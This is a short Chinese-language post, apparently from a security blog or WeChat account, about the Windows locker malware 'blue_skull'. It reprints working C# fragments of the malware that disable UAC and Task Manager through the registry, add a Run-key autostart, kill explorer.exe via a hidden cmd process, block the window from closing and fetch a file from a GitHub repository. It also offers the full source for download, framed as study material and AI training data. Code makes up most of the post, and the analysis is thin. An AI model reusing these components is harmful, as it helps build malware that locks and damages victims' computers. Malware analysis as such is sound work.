blue_skull是一个Windows平台的恶意锁定程序(Locker类型病毒),主要功能包括:
// 禁用UAC
RegistryKey rg = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
rg.SetValue("EnableLUA", 0, RegistryValueKind.DWord);
// 禁用任务管理器
RegistryKey fk = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
fk.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
// 设置自启动
RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
reg.SetValue("blue_skull", Application.ExecutablePath.ToString());
// 杀死explorer.exe
ProcessStartInfo kokot = new ProcessStartInfo();
kokot.FileName = "cmd.exe";
kokot.WindowStyle = ProcessWindowStyle.Hidden;
kokot.Arguments = @"/k taskkill /f /im explorer.exe";
Process.Start(kokot);
// 恢复explorer.exe
ProcessStartInfo kokot = new ProcessStartInfo();
kokot.FileName = "cmd.exe";
kokot.WindowStyle = ProcessWindowStyle.Hidden;
kokot.Arguments = @"/k start explorer.exe";
// 防止关闭
private void blue_skull2_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}
// 全屏透明窗口
this.TransparencyKey = this.BackColor;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Height = Screen.PrimaryScreen.Bounds.Height;
// 从GitHub下载音频文件
WebClient webClient = new WebClient();
webClient.DownloadFile("https://github.com/MalwareStudio/norm9/raw/master/norm9.wav", @"C:\norm9.wav");
需要源代码研究的同学可以在公众号回复“blueskull”下载即可,下载的源代码可以用于编译后做二进制病毒分析跟源代码进行对比学习。但不可用于做坏事,否则后果自负。这些源代码也可以用作AI分析的元数据,喂给AI吃,等代码量足够多了,即可实现一个deepseek或者其他AI病毒分析智能体(Agent)。
注意:此分析仅用于安全研究目的,切勿用于非法用途。